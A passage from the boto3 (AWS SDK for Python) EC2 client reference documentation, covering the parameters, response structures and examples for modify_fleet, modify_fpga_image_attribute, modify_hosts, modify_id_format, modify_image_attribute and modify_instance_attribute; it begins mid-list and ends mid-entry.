|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + } + }, + ] + }, + ], + FleetId='string', + TargetCapacitySpecification={ + 'TotalTargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'SpotTargetCapacity': 123, + 'DefaultTargetCapacityType': 'spot'|'on-demand' + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ExcessCapacityTerminationPolicy** (_string_) -- Indicates whether running instances should be terminated if the total target capacity of the EC2 Fleet is decreased below the current size of the EC2 Fleet. +* **LaunchTemplateConfigs** (_list_) -- + + The launch template and overrides. + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template to use. You must specify either the launch template ID or launch template name in the request. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instances. Separate multiple subnet IDs using commas (for example, subnet-1234abcdeexample1, subnet-0987cdef6example2 ). A request of type instant can have only one subnet ID. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **FleetId** (_string_) -- + + **[REQUIRED]** + + The ID of the EC2 Fleet. + +* **TargetCapacitySpecification** (_dict_) -- + + The size of the EC2 Fleet. + + * **TotalTargetCapacity** _(integer) --_ **[REQUIRED]** + + The number of units to request, filled using DefaultTargetCapacityType . + + * **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. + + * **SpotTargetCapacity** _(integer) --_ + + The number of Spot units to request. + + * **DefaultTargetCapacityType** _(string) --_ + + The default TotalTargetCapacity , which is either Spot or On-Demand . + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +modify_fpga_image_attribute(kwargs_) + +Modifies the specified attribute of the specified Amazon FPGA Image (AFI). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyFpgaImageAttribute) + +**Request Syntax** + +response = client.modify_fpga_image_attribute( + DryRun=True|False, + FpgaImageId='string', + Attribute='description'|'name'|'loadPermission'|'productCodes', + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + UserGroups=[ + 'string', + ], + ProductCodes=[ + 'string', + ], + LoadPermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + Description='string', + Name='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FpgaImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AFI. + +* **Attribute** (_string_) -- The name of the attribute. +* **OperationType** (_string_) -- The operation type. +* **UserIds** (_list_) -- + + The AWS account IDs. This parameter is valid only when modifying the loadPermission attribute. + + * _(string) --_ +* **UserGroups** (_list_) -- + + The user groups. This parameter is valid only when modifying the loadPermission attribute. + + * _(string) --_ +* **ProductCodes** (_list_) -- + + The product codes. After you add a product code to an AFI, it can't be removed. This parameter is valid only when modifying the productCodes attribute. + + * _(string) --_ +* **LoadPermission** (_dict_) -- + + The load permission for the AFI. + + * **Add** _(list) --_ + + The load permissions to add. + + * _(dict) --_ + + Describes a load permission. + + * **Group** _(string) --_ + + The name of the group. + + * **UserId** _(string) --_ + + The AWS account ID. + + * **Remove** _(list) --_ + + The load permissions to remove. + + * _(dict) --_ + + Describes a load permission. + + * **Group** _(string) --_ + + The name of the group. + + * **UserId** _(string) --_ + + The AWS account ID. + +* **Description** (_string_) -- A description for the AFI. +* **Name** (_string_) -- A name for the AFI. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImageAttribute': { + 'FpgaImageId': 'string', + 'Name': 'string', + 'Description': 'string', + 'LoadPermissions': [ + { + 'UserId': 'string', + 'Group': 'all' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **FpgaImageAttribute** _(dict) --_ + + Information about the attribute. + + * **FpgaImageId** _(string) --_ + + The ID of the AFI. + + * **Name** _(string) --_ + + The name of the AFI. + + * **Description** _(string) --_ + + The description of the AFI. + + * **LoadPermissions** _(list) --_ + + The load permissions. + + * _(dict) --_ + + Describes a load permission. + + * **UserId** _(string) --_ + + The AWS account ID. + + * **Group** _(string) --_ + + The name of the group. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + +modify_hosts(kwargs_) + +Modify the auto-placement setting of a Dedicated Host. When auto-placement is enabled, any instances that you launch with a tenancy of host but without a specific host ID are placed onto any available Dedicated Host in your account that has auto-placement enabled. When auto-placement is disabled, you need to provide a host ID to have the instance launch onto a specific host. If no host ID is provided, the instance is launched onto a suitable host with auto-placement enabled. + +You can also use this API action to modify a Dedicated Host to support either multiple instance types in an instance family, or to support a specific instance type only. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyHosts) + +**Request Syntax** + +response = client.modify_hosts( + AutoPlacement='on'|'off', + HostIds=[ + 'string', + ], + HostRecovery='on'|'off', + InstanceType='string', + InstanceFamily='string' +) + +Parameters + +* **AutoPlacement** (_string_) -- Specify whether to enable or disable auto-placement. +* **HostIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the Dedicated Hosts to modify. + + * _(string) --_ +* **HostRecovery** (_string_) -- Indicates whether to enable or disable host recovery for the Dedicated Host. For more information, see [Host Recovery](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-hosts-recovery.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **InstanceType** (_string_) -- + + Specifies the instance type to be supported by the Dedicated Host. Specify this parameter to modify a Dedicated Host to support only a specific instance type. + + If you want to modify a Dedicated Host to support multiple instance types in its current instance family, omit this parameter and specify **InstanceFamily** instead. You cannot specify **InstanceType** and **InstanceFamily** in the same request. + +* **InstanceFamily** (_string_) -- + + Specifies the instance family to be supported by the Dedicated Host. Specify this parameter to modify a Dedicated Host to support multiple instance types within its current instance family. + + If you want to modify a Dedicated Host to support a specific instance type only, omit this parameter and specify **InstanceType** instead. You cannot specify **InstanceFamily** and **InstanceType** in the same request. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Successful': [ + 'string', + ], + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Successful** _(list) --_ + + The IDs of the Dedicated Hosts that were successfully modified. + + * _(string) --_ + * **Unsuccessful** _(list) --_ + + The IDs of the Dedicated Hosts that could not be modified. Check whether the setting you requested can be used. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +modify_id_format(kwargs_) + +Modifies the ID format for the specified resource on a per-Region basis. You can specify that resources should receive longer IDs (17-character IDs) when they are created. + +This request can only be used to modify longer ID settings for resource types that are within the opt-in period. Resources currently in their opt-in period include: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | route-table | route-table-association | security-group | subnet | subnet-cidr-block-association | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +This setting applies to the IAM user who makes the request; it does not apply to the entire AWS account. By default, an IAM user defaults to the same settings as the root user. If you're using this action as the root user, then these settings apply to the entire account, unless an IAM user explicitly overrides these settings for themselves. For more information, see [Resource IDs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/resource-ids.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Resources created with longer IDs are visible to all IAM roles and users, regardless of these settings and provided that they have permission to use the relevant Describe command for the resource type. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyIdFormat) + +**Request Syntax** + +response = client.modify_id_format( + Resource='string', + UseLongIds=True|False +) + +Parameters + +* **Resource** (_string_) -- + + **[REQUIRED]** + + The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | route-table | route-table-association | security-group | subnet | subnet-cidr-block-association | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + + Alternatively, use the all-current option to include all resource types that are currently within their opt-in period for longer IDs. + +* **UseLongIds** (_boolean_) -- + + **[REQUIRED]** + + Indicate whether the resource should use longer IDs (17-character IDs). + + +Returns + +None + +modify_identity_id_format(kwargs_) + +Modifies the ID format of a resource for a specified IAM user, IAM role, or the root user for an account; or all IAM users, IAM roles, and the root user for an account. You can specify that resources should receive longer IDs (17-character IDs) when they are created. + +This request can only be used to modify longer ID settings for resource types that are within the opt-in period. Resources currently in their opt-in period include: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | route-table | route-table-association | security-group | subnet | subnet-cidr-block-association | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +For more information, see [Resource IDs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/resource-ids.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This setting applies to the principal specified in the request; it does not apply to the principal that makes the request. + +Resources created with longer IDs are visible to all IAM roles and users, regardless of these settings and provided that they have permission to use the relevant Describe command for the resource type. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyIdentityIdFormat) + +**Request Syntax** + +response = client.modify_identity_id_format( + PrincipalArn='string', + Resource='string', + UseLongIds=True|False +) + +Parameters + +* **PrincipalArn** (_string_) -- + + **[REQUIRED]** + + The ARN of the principal, which can be an IAM user, IAM role, or the root user. Specify all to modify the ID format for all IAM users, IAM roles, and the root user of the account. + +* **Resource** (_string_) -- + + **[REQUIRED]** + + The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | route-table | route-table-association | security-group | subnet | subnet-cidr-block-association | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + + Alternatively, use the all-current option to include all resource types that are currently within their opt-in period for longer IDs. + +* **UseLongIds** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the resource should use longer IDs (17-character IDs) + + +Returns + +None + +modify_image_attribute(kwargs_) + +Modifies the specified attribute of the specified AMI. You can specify only one attribute at a time. You can use the Attribute parameter to specify the attribute or one of the following parameters: Description , LaunchPermission , or ProductCode . + +AWS Marketplace product codes cannot be modified. Images with an AWS Marketplace product code cannot be made public. + +To enable the SriovNetSupport enhanced networking attribute of an image, enable SriovNetSupport on an instance and create an AMI from the instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyImageAttribute) + +**Request Syntax** + +response = client.modify_image_attribute( + Attribute='string', + Description={ + 'Value': 'string' + }, + ImageId='string', + LaunchPermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + OperationType='add'|'remove', + ProductCodes=[ + 'string', + ], + UserGroups=[ + 'string', + ], + UserIds=[ + 'string', + ], + Value='string', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The name of the attribute to modify. The valid values are description , launchPermission , and productCodes . +* **Description** (_dict_) -- + + A new description for the AMI. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **ImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AMI. + +* **LaunchPermission** (_dict_) -- + + A new launch permission for the AMI. + + * **Add** _(list) --_ + + The AWS account ID to add to the list of launch permissions for the AMI. + + * _(dict) --_ + + Describes a launch permission. + + * **Group** _(string) --_ + + The name of the group. + + * **UserId** _(string) --_ + + The AWS account ID. + + * **Remove** _(list) --_ + + The AWS account ID to remove from the list of launch permissions for the AMI. + + * _(dict) --_ + + Describes a launch permission. + + * **Group** _(string) --_ + + The name of the group. + + * **UserId** _(string) --_ + + The AWS account ID. + +* **OperationType** (_string_) -- The operation type. This parameter can be used only when the Attribute parameter is launchPermission . +* **ProductCodes** (_list_) -- + + The DevPay product codes. After you add a product code to an AMI, it can't be removed. + + * _(string) --_ +* **UserGroups** (_list_) -- + + The user groups. This parameter can be used only when the Attribute parameter is launchPermission . + + * _(string) --_ +* **UserIds** (_list_) -- + + The AWS account IDs. This parameter can be used only when the Attribute parameter is launchPermission . + + * _(string) --_ +* **Value** (_string_) -- The value of the attribute being modified. This parameter can be used only when the Attribute parameter is description or productCodes . +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example makes the specified AMI public. + +response = client.modify_image_attribute( + ImageId='ami-5731123e', + LaunchPermission={ + 'Add': [ + { + 'Group': 'all', + }, + ], + }, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example grants launch permissions for the specified AMI to the specified AWS account. + +response = client.modify_image_attribute( + ImageId='ami-5731123e', + LaunchPermission={ + 'Add': [ + { + 'UserId': '123456789012', + }, + ], + }, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_instance_attribute(kwargs_) + +Modifies the specified attribute of the specified instance. You can specify only one attribute at a time. + +> **Note:** Using this action to change the security groups associated with an elastic network interface (ENI) attached to an instance in a VPC can result in an error if the instance has more than one ENI. To change the security groups associated with an ENI attached to an instance that has multiple ENIs, we recommend that you use the ModifyNetworkInterfaceAttribute action. + +To modify some attributes, the instance must be stopped. For more information, see [Modifying attributes of a stopped instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_ChangingAttributesWhileInstanceStopped.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceAttribute) + +**Request Syntax** + +response = client.modify_instance_attribute( + SourceDestCheck={ + 'Value': True|False + }, + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'VolumeId': 'string' + }, + 'NoDevice': 'string', + 'VirtualName': 'string' + }, + ], + DisableApiTermination={ + 'Value': True|False + }, + DryRun=True|False, + EbsOptimized={ + 'Value': True|False + }, + EnaSupport={ + 'Value': True|False + }, + Groups=[ + 'string', + ], + InstanceId='string', + InstanceInitiatedShutdownBehavior={ + 'Value': 'string' + }, + InstanceType={ + 'Value': 'string' + }, + Kernel={ + 'Value': 'string' + }, + Ramdisk={ + 'Value': 'string' + }, + SriovNetSupport={ + 'Value': 'string' + }, + UserData={ + 'Value': b'bytes' + }, + Value='string' +) + +Parameters + +* **SourceDestCheck** (_dict_) -- + + Specifies whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **Attribute** (_string_) -- The name of the attribute. +* **BlockDeviceMappings** (_list_) -- + + Modifies the DeleteOnTermination attribute for volumes that are currently attached. The volume must be owned by the caller. If no value is specified for DeleteOnTermination , the default is true and the volume is deleted when the instance is terminated. + + To add instance store volumes to an Amazon EBS-backed instance, you must add them when you launch the instance. For more information, see [Updating the block device mapping when launching an instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#Using_OverridingAMIBDM) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + Describes a block device mapping entry. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + * **VolumeId** _(string) --_ + + The ID of the EBS volume. + + * **NoDevice** _(string) --_ + + suppress the specified device included in the block device mapping. + + * **VirtualName** _(string) --_ + + The virtual device name. + +* **DisableApiTermination** (_dict_) -- + + If the value is true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. You cannot use this parameter for Spot Instances. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_dict_) -- + + Specifies whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnaSupport** (_dict_) -- + + Set to true to enable enhanced networking with ENA for the instance. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **Groups** (_list_) -- + + [EC2-VPC] Changes the security groups of the instance. You must specify at least one security group, even if it's just the default security group for the VPC. You must specify the security group ID, not the security group name. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **InstanceInitiatedShutdownBehavior** (_dict_) -- + + Specifies whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **InstanceType** (_dict_) -- + + Changes the instance type to the specified value. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . If the instance type is not valid, the error returned is InvalidInstanceAttributeValue . + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **Kernel** (_dict_) -- + + Changes the instance's kernel to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **Ramdisk** (_dict_) -- + + Changes the instance's RAM disk to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **SriovNetSupport** (_dict_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the instance. + + There is no way to disable enhanced networking with the Intel 82599 Virtual Function interface at this time. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **UserData** (_dict_) -- + + Changes the instance's user data to the specified value. If you are using an AWS SDK or command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. + + * **Value** _(bytes) --_ +* **Value** (_string_) -- A new value for the attribute. Use only with the kernel , ramdisk , userData , disableApiTermination , or instanceInitiatedShutdownBehavior attribute. + +Returns + +None + +**Examples** + +This example modifies the instance type of the specified stopped instance. + +response = client.modify_instance_attribute( + InstanceId='i-1234567890abcdef0', + InstanceType={ + 'Value': 'm5.large', + }, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example enables enhanced networking for the specified stopped instance. + +response = client.modify_instance_attribute( + EnaSupport={ + 'Value': True, + }, + InstanceId='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_instance_capacity_reservation_attributes(kwargs_)definition") + +Modifies the 